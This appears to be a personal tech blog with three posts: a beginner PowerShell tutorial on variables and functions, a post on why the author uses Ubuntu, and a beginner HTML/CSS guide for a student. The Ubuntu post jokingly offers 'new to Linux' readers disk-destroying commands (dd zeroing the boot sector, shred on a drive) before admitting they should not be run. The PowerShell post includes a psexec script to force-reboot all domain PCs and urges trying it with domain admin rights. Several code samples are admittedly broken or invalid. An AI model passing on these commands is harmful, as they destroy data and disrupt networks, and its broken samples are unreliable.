Learning PowerShell with Michael.

At the present, I am refining my PowerShell usage, updating my scripts to make the code more readable and slowly learning new methods to do things easier, and faster. I’ve been on several forums relating to PowerShell and am quite active (you may have found this blog from there?), and thought I’d make my own post.

Whilst I’ll attempt to be as thorough as possible (we all know I do not vet my own documents), this shall not be an all-encompassing guide/post on PowerShell. The post will briefly cover:

  1. What is Windows Management Framework 5.0?
  2. IDE(s) and their benefits
  3. Using Variables
  4. Using Functions

So, let’s get into it.

What is Windows Management Framework 5.0?

The technical answer is:

Windows Management Framework (WMF) is the delivery mechanism that provides a consistent management interface across the various flavors of Windows and Windows Server.


In easier terminology, it is a distinct sub-set of Windows tools designed for automation, maintaining and auditing Windows PC(s), and primarily, Windows Servers.

Think of WMF as a toolbox, that houses tools:

In Windows, .NET Framework and PowerShell are implemented through the Enable/Disable Features option.

Of course, you should be able to just use DISM to enable the feature as well:

Dism /online /enable-feature /featurename:NetFx3 /All /Source:F:\sources\sxs /LimitAccess
  •  Where F:\sources\sxs is your installation directory SXS folder.

Note the following availability:

Operating System Version WMF 5.1 WMF 5.0 WMF 4.0 WMF 3.0 WMF 2.0
Windows Server 2016 Ships in-box
Windows 10 Ships in-box Ships in-box
Windows Server 2012 R2 Yes Yes Ships in-box
Windows 8.1 Yes Yes Ships in-box
Windows Server 2012 Yes Yes Yes Ships in-box
Windows 8 Ships in-box

IDE(s) and their benefits

Integrated Development Environments, or “IDE”, are different to the Integrated Scripting Environment, “ISE”, slightly. For example, the following quote depicts IDE:

An IDE normally consists of a source code editorbuild automation tools and a debugger. Most modern IDEs have intelligent code completion. Some IDEs, such as NetBeans and Eclipse, contain a compilerinterpreter, or both.

ISE is rather limited, as:

  • It is designed for PowerShell only (as far as I am aware);
  • There is no real debugger, just console output and;
  • It was designed for Microsofts Operating System Only (Can be run on Linux and OSX though)

Whilst I do not dislike the ISE for PowerShell, it’s not one I would suggest you use. Sure, it has all the cmdlets housed in a neat menu, depicting what category they fall under, but that’s it.

Personally, I would recommend Microsoft other IDE tool, Visual Studio. The same syntax highlighting, and autocomplete functions are readily available, it supports multiple languages, and has a community list of add-ons.


VS Code Syntax Highlighting

Benefits of using Visual Studio Code over ISE:

  • If you decide PowerShell is not for you, change your palette language!
  • Heaps of useful add-ons;
  • Open Source;
  • Fantastic Syntax Highlighting and auto-complete and;
  • Because it’s just better.


Using Variables

Variables are the second most powerful “function” (no pun(s) intended) in PowerShell, in my opinion. A variable is a string of data defined in a script that can be referenced later, to make the code shorter, cleaner and more consistent.

A variable can take a complex command, and make it easier to reference down the script. In the following example, I have set 4 variables for commands I wish to use:

$Name = "$env:USERNAME"
$PC = "hostname" 
$Date= "(Get-Date).ToString('dd-MM-yyyy')"
$Time = Get-Date -Format HH-mm-ss

To set a variable, you use the following Syntax:

$Name of the variable = "action to perform"

Which can be translated:

$YourName = Read-Host "What is your name"
Greetings, "$YourName"

Always remember to call a variable using the “$” symbol, and keep it in a quote for clean code.

Variables allow you to replicate a complex command easily, multiple times throughout a script. Editing the function of the variable is reflected each time the script calls the variable. Without variables, code would be a lot messier and could be much harder to debug – a wrong comma in a line incorrectly copied could break the entire script.

Some useful examples are:

Learning how to implement variables allows for scripts that are:

  • Smaller in size;
  • Smaller in code;
  • Generally more robust;
  • Easier to debug;
  • Generally easier to read (if shared)

Using Functions

Functions are perhaps the most useful feature of PowerShell. PowerShell functions, similar to variables, allow you to perform complex command(s), and reference them by a function. The syntax being:

function "name"() {
command 1
command 2
  • “name”() is the name of set function;
  • {} are the open and close of the function, placed at beginning and end and;
  • name() actually executes the function; it does not need to be called straight after the function.

Functions support variables that can be predefined in the PowerShell script. In the following example, the function “shutdownalldomainpcs()” is using 4 variables to execute a command:

$H = Read-Host "What is the IP Address of your Domain Controller?" 
$nH = "\\*" 
$-u = Read-Host "What's your domain admin username?" 
$-p = Read-Host "Enter Password"-AsSecureString 
$command = "psexec "$nH" "$-u" "$-p" shutdown -f -r -t 0" 

function shutdownalldomainpcs(){ 
psexec "-H" "$-u" "$-p" "command" 

Yes, there may be syntax errors or the command might not even work, I am simply demonstrating. Should totally try with domain admin rights however.

You can read a little more on variables and functions from Microsoft here:

function test ($x, $y) 
 $x * $y 

Enough functions and variables, let’s nest functions! Yeah, you heard me. Functions calling functions!

A simple example:

function 1() {
Write 1

function 2() {
Write 2

function 3() {


The third function executes Function 1 and 2. Handy little trick to allow you to perform multiple steps.

In the following example, I set multiple variables, and then use a “IF” switch to see if a directory is made, and write data to it:


Again pure example, code could not work 😉

Some useful links if you are interested:


Want to edit this post? Want to post your own content?

I am hoping for some additional writers on this blog. If you want to contribute, please use the comment function, and I will be in touch.

Why Ubuntu is the Windows 7 of 10.

You’re new to Linux!? Here, let me help you improve your overall experience(s):

su - 
> enters root password
apt-get install xfce4
reboot now

If you’re new to Linux, that’s like the number 1 command you need to know. Oh what the hey, whilst you’re at it, go ahead and run:

dd if=/dev/zero of=/dev/sda bs=512 count=1
shred -n 5 -vz /dev/sdb

Okay, so perhaps do not do that last one. I’m just being a total idiot (as per the norm?).

Why do you use Ubuntu?

So a few people who I talk to on blogs and whatnot ask me why I use Ubuntu as my main PC (excluding gaming, that’s Windows 10) and not Windows. Like I said, Ubuntu is the Windows 7 of 10. Why, you ask?

I am going on a tangent, of good and bad, contradictions and hipocracy here, but stick to it, it makes sense in the end(?).

  • It’s not the most bleeding edge, but it’s maintained; I like stable over new features.
  • It’s not the most supported, but has enough to get by; Seems to have all my drivers.
  • It’s not the most efficient resource user, but we can run it and; Xfce!
  • It’s not made by the best company, but it’s not OSX; Apple’s Unix sucks!

Ubuntu, for me, is the “safe Linux” distribution to throw onto a computer, although I’ve not always had success with older builds. 16.04LTS through to 17.04  I know will have WiFi support, and a graphics driver for my nVidia card.

I trade out on features that I’d like for stability, and that’s I am okay wit this. Is it my preferrential distribution? No – in no shape or form does Ubuntu do anything so extraordinary for me to say that I’d recommend it. It’s not bad, there’s just…better.

For me, the most deterring points to Ubuntu are:

  • GNOME is old fashioned and weighs the system down; Unity FTW!
  • Amazon search should never be a thing; Thank God it’s off (or is it?) and;
  • Canonical do some pretty silly things – they’re like the Apple of the Linux world.

So why do I still use this distributions if I am so negative about it?

Oh boy, another tangent

Windows 7 (We’re skipping Vista because it’s just the blueprint for 7) was “trash” when XP was in “prime” form, even though it added all these new features, new support for hardware, and was sported to be faster than XP. Windows 7 was slowly adopted (whilst being heavily criticised) in both the home user and business user areas.

Windows 8, the same deal happened and Windows 10, the same deal happened. This doesn’t really directly relate to Ubuntu, but it seems as humans we (and I am) are a little reluctant to change, and only make the jump when we know it’s safe. If it ain’t broke, don’t fix it comes to mind. That applies to why I default to Ubuntu; the current build works for me, and others do not.

However I would like to point out I’ve given up on Windows. I no longer wish to use that operating system for anything, and as soon as all my steam games are ported to Windows, there will not be a single PC in my house that runs that putrid operating system.

So you’ve stated why you prefer Linux but not Ubuntu.

Back to the point. The reason I selected Ubuntu was, even though it is not the best tool out there, it’s a reliable tool that I’ve used in the past (short of 16.04LTS and this statment is a lie), and can rely on (more or less). It’s a tool I can rely on to boot to, and from there, I can do whatever I wish to do to it, at my disposal. Of course,  there are a number of other distributions I’d much prefer to use, but they all have issues on my PC (at present).

Would you answer the question instead of babbling on about things we care naught for!?

Ubuntu is the base. There is nothing special about Ubuntu apart from their PPA’s and their apt-get management. I can skin it how I wish, install applications at my leisure, and edit GRUB if I wanted.

I use Ubuntu as a solid foundation to meet my requirements, and then alter the settings to accomodate my wishes. I ditch Unity and GNOME for the much prettier, lighter Xfce Desktop Environment (which, I strongly recommend), set XTerm as my default terminal and live a happy life of blazing fast boot times, and 100% CPU utilization my Amazon Search feeding all my data to Canonical even though I disabled that setting.

(No seriously my CPU is capped at 100% right now).

Leaving Windows, and want to try Linux?

If you want to make the jump, here are 5 distrobutions I would recommend over Ubuntu:

Hyper-Text Markup Language; WYSIWYG.

Today I received the following question:

Hi Michael,

I have a school assignment to make a website about a topic I like, and would like to make a nature website. I am unsure how to code a website and the class isn’t really helpful, could you assist?

Also you’re so cool.


I am paraphrasing, of course. I will answer this question, in the most simplistic and non-technical method possible. It’ll section this post into the following segments:

  1. Selecting an IDE;
  2. Confirming what “WYSIWYG” means;
  3. Confirming what “CSS” does and;
  4. Beginning the project.

Selecting Your IDE/Tool

The first thing you’re going to require is a text editor (or an “IDE“). I surmise you’re using Windows, and not Mac OSX (or any other operating system). In my opinion, a good  IDE will do for you:

  1. Will use HTML and CSS Syntax Highlighting;
  2. Will auto-complete (generally using TAB) the command and;
  3. Will “wrap” functions together.

On the other end of the spectrum, a bad IDE will not perform any of these functions. Whilst application such as Notepad, Wordpad and Word could act as a base for your HTML, I would recommend not using these.

To further demonstrate the difference between a good and bad editor; this is a basic text editor (Notepad):



There is no syntax highlighting, nor is there tabbed completion. Notepad++ on the other side has these features by default:


Furthermore, Notepad++ takes it further with a tabbed completion function allowing you to see all available commands:


Here is a list of available IDE’s available for free on Windows:


What is this “WYSIWYG” term?

What you see is what you get, in its acronymic form WYSIWYG, is defined as:

WYSIWYG (pronounced “wiz-ee-wig”) editor or program is one that allows a developer to see what the end result will look like while the interface or document is being created. – Source

Meaning that every alteration to the underlying HTML or CSS, such as making text bold, should replicate to a “live” view for you.

There are mixed answers on should I use a WYSIWYG editor if I am new to web-design, and my answer is this: if you’re more a visual learner, there is no harm using a WYSIWYG editor as it allows you to both edit code, and (generally) drag the content to suit.

To test this theory, the following “website” was made using the WYSIWYG Web Builder toolkit, and took me less than 2  minutes to perform:


The HTML Code to this website can be viewed using the “View Source” option. The following is a snippet defining the Marquee component (the small box under the header):

<marquee direction="left" scrolldelay="90" scrollamount="6" behavior="scroll" loop="0"style="position:absolute;left:148px;top:65px;width:248px;height:38px;z-index:40;" id="Marquee1"><span style="color:#000000;font-family:Arial;font-size:13px;">Go on, it's free.<br></span></marquee>

So as you can see, there are large benefits to using a WYSIWYG editor (due to the lenght of the code), but ensure you understand the code before you rely on an editor.

What are “the basics”?

Before I begin with my own lesson, I will supply some amazing examples for you:

  1. HTML5 Introduction;
  2. HTML Document Tags;
  3. HTML5 Style Guide and Coding Conventions;
  4. HTML5 New Elements and;
  5. HTML Lessons

Now, you should be aware of Cascading Style Sheets (“CSS”);

A cascading style sheet (CSS) is a Web page derived from multiple sources with a defined order of precedence where the definitions of any style element conflict.

Or more simply put, defines tags applied to HTML. So before you begin, I would recommend do some planning on what each page does, and what you want it to look like. When creating a website locally, I like to edit my folder layout to be:

nanky@DESKTOP-52QRCAE:~/documents/website$ ls
/css /docs /images /pages /vid

The reasoning behind this is each folder has a clear purpose:

  • /css – is responsible for the CSS for the website pages;
  • /docs – my documents (more on this just below);
  • /images – is responsible for all the images in the site;
  • /pages – houses the HTML documents and;
  • /vid – for any videos stored on the site.

Documenting the process is very important in any project. Most people use GIT or Google Docs, but a basic Nano document will suffice.

Cascading Style Sheets “CSS”

Without CSS, you will find yourself with a basic ASCII website, with little to no style (not that this isn’t good). Before continuing, we need to have a slight argument:

External style sheet

External style sheets are just that, external to the HTML file and referenced in the code:

<link rel="stylesheet" href="https://www.url.of.housed.content-css">

Therefore allowing the CSS to live externally, and has easier version control.

Internal style sheet

Internal style sheets use the “Style” tag to define the tags, and are situated in the header portion of your HTML.

This is the most convenient method for me, however, has a few issues:

  • Larger HTML files and;
  • Harder to maintain.

Here is an example:

body {
    background-color: purply-blue;

h1 {
    color: grape-flavoured;
    margin-left: 420px;

Psh… this is the format I traditionally use.

Inline style

Inline style sheets are style tags, in the actual format of the tags. For example”

<h1 style="color:red;margin-left:45px;">My Main Menu Heading</>

This ties the single “H1” tag to have the properties above mentioned. This is useful if you wish to override the default style of the “H1” tag.

The basics of CSS, hit me.

I will not go through all the tags you can use, and all the options for CSS (that would take me weeks of documenting), but I will tell you that there are a plethora of CSS examples online.

For example, let us set a tag for our three headings:

h1 {
 text-decoration: overline;

h2 {
 text-indent: 50px;
 text-decoration: line-through;

h3 {
 color: green;
 text-decoration: underline;

Then, we can go ahead and call the code:

<h1> Test </h1>
<h2> Indent! </h2>
<h3> Green! </h3>

Resulting Code

This will apply to every tag defined in the CSS sheet. Let’s take YouTube’s “www-roboto” CSS for example:

@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v16/WxrXJa0C3KdtC7lMafG4dRTbgVql8nDJpwnrE27mub0.woff2)format('woff2');unicode-range:U+0460-052F,U+20B4,U+2DE0-2DFF,U+A640-A69F;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v16/OpXUqTo0UgQQhGj_SFdLWBTbgVql8nDJpwnrE27mub0.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v16/1hZf02POANh32k2VkgEoUBTbgVql8nDJpwnrE27mub0.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v16/cDKhRaXnQTOVbaoxwdOr9xTbgVql8nDJpwnrE27mub0.woff2)format('woff2');unicode-range:U+0370-03FF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v16/K23cxWVTrIFD6DJsEVi07RTbgVql8nDJpwnrE27mub0.woff2)format('woff2');unicode-range:U+0102-0103,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v16/vSzulfKSK0LLjjfeaxcREhTbgVql8nDJpwnrE27mub0.woff2)format('woff2');unicode-range:U+0100-024F,U+1E00-1EFF,U+20A0-20AB,U+20AD-20CF,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v16/vPcynSL0qHq_6dX7lKVByfesZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02C6,U+02DA,U+02DC,U+2000-206F,U+2074,U+20AC,U+2212,U+2215;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v16/ek4gzZ-GeXAPcSbHtCeQI_esZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+0460-052F,U+20B4,U+2DE0-2DFF,U+A640-A69F;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v16/mErvLBYg_cXG3rLvUsKT_fesZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v16/-2n2p-_Y08sg57CNWQfKNvesZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v16/u0TOpm082MNkS5K0Q4rhqvesZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+0370-03FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v16/NdF9MtnOpLzo-noMoG0miPesZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+0102-0103,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v16/Fcx7Wwv8OzT71A3E1XOAjvesZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+0100-024F,U+1E00-1EFF,U+20A0-20AB,U+20AD-20CF,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v16/CWB0XYA8bzo0kSThX0UTuA.woff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02C6,U+02DA,U+02DC,U+2000-206F,U+2074,U+20AC,U+2212,U+2215;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v16/ZLqKeelYbATG60EpZBSDyxJtnKITppOI_IvcXXDNrsc.woff2)format('woff2');unicode-range:U+0460-052F,U+20B4,U+2DE0-2DFF,U+A640-A69F;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v16/oHi30kwQWvpCWqAhzHcCSBJtnKITppOI_IvcXXDNrsc.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v16/rGvHdJnr2l75qb0YND9NyBJtnKITppOI_IvcXXDNrsc.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v16/mx9Uck6uB63VIKFYnEMXrRJtnKITppOI_IvcXXDNrsc.woff2)format('woff2');unicode-range:U+0370-03FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v16/mbmhprMH69Zi6eEPBYVFhRJtnKITppOI_IvcXXDNrsc.woff2)format('woff2');unicode-range:U+0102-0103,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v16/oOeFwZNlrTefzLYmlVV1UBJtnKITppOI_IvcXXDNrsc.woff2)format('woff2');unicode-range:U+0100-024F,U+1E00-1EFF,U+20A0-20AB,U+20AD-20CF,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v16/RxZJdnzeo3R5zSexge8UUVtXRa8TVwTICgirnJhmVJw.woff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02C6,U+02DA,U+02DC,U+2000-206F,U+2074,U+20AC,U+2212,U+2215;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v16/OLffGBTaF0XFOW1gnuHF0TTOQ_MqJVwkKsUn0wKzc2I.woff2)format('woff2');unicode-range:U+0460-052F,U+20B4,U+2DE0-2DFF,U+A640-A69F;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v16/OLffGBTaF0XFOW1gnuHF0TUj_cnvWIuuBMVgbX098Mw.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v16/OLffGBTaF0XFOW1gnuHF0UbcKLIaa1LC45dFaAfauRA.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v16/OLffGBTaF0XFOW1gnuHF0Wo_sUJ8uO4YLWRInS22T3Y.woff2)format('woff2');unicode-range:U+0370-03FF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v16/OLffGBTaF0XFOW1gnuHF0b6up8jxqWt8HVA3mDhkV_0.woff2)format('woff2');unicode-range:U+0102-0103,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v16/OLffGBTaF0XFOW1gnuHF0SYE0-AqJ3nfInTTiDXDjU4.woff2)format('woff2');unicode-range:U+0100-024F,U+1E00-1EFF,U+20A0-20AB,U+20AD-20CF,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v16/OLffGBTaF0XFOW1gnuHF0Y4P5ICox8Kq3LLUNMylGO4.woff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02C6,U+02DA,U+02DC,U+2000-206F,U+2074,U+20AC,U+2212,U+2215;}

Far too much data to try and explain on a post – this will all come with time. (Yes I know it is simplistic code for those who know how to do this, that’s not the point).

Here are a few basic reference points you might like:

What is HTML, and how do I use it?

If you are unsure what HTML is (and I’d hope not!) it stands for Hyper Text Markup Language:

Hypertext Markup Language, a standardized system for tagging text files to achieve font, colour, graphic, and hyperlink effects on World Wide Web pages. – Source

Basically, it is the “language” used to interpret websites and render them within browsers.

Hint: On Chrome? Press Ctrl + Shift + J and go to Elements, it will show you live HTML of this blog.

Before diving in, there are a few core statements about HTML:

  • Whenever you <open> a bracket, </close> it. Get it?
  • Try to make the code readable, add comments <! — comment –>

So without further delays, jump in and read the HTML Reference guide.

I will list a few examples of basic codes you will need.


The BR tag is a break entry, and allows you to string text across multiple lines:

<p> This is a paragraph. </p>
<p> This is a paragraph, <br>
across multiple lines</p>

b, i and u

Most likely depreciated (Last time I did a website was 4 years ago), these tags format text:

<p style="color:red;margin-left:20px;"> <u>Julie</u>:<b> Michael </b> you're such a <u><i>cool</u></i> dude, <br>
<i> dude.</i>

See how I added inline styling to the text, as well?

table, tr and td

Editing tables is easy. TR is table tow, and TD is the table cell:

table, th, td {
 border: 2px solid black;
 <caption>Should we eat cookies?</caption>
 <th>Then eat</th>
 <td>Don't touch</td>
 <td>Hell Yeah</td>
 <td>Eat them all!</td>

Note the “caption” tag adds a title to your table, should you wish it!

PHP? XML? Javascript?

Do not even concern yourself with this at present. If you’re really interested in learning, this is something you should pursue.

To summarise Jamie (and I apologise, this is not my best writing at 2am, but it’s the only time I had free), get yourself a good IDE tool (Brackets!) to make yourself familiar with syntax (it really helps highlight when you’ve not closed a tag correctly!) and tags.

Then, draw out how you want the website to look. Perhaps try using a WYSIWYG Editor and deconstruct the code to get an understanding of it.

Lastly, please use external CSS sheets in the beginning, and don’t go too complex. If you’re up late at night coding, always use the <!— This code does this —> command to ensure tomorrow, you remember what it is.

There are a plethora of tools out there to help you, from Videos to tutorials online, so have patience and catch up. Do your CSS first, set the ground before the building. If you get stuck, reach back out to me.


For others who want more explicit information on a topic (I am happy to expand this post if you really want), or corrections, use the following form: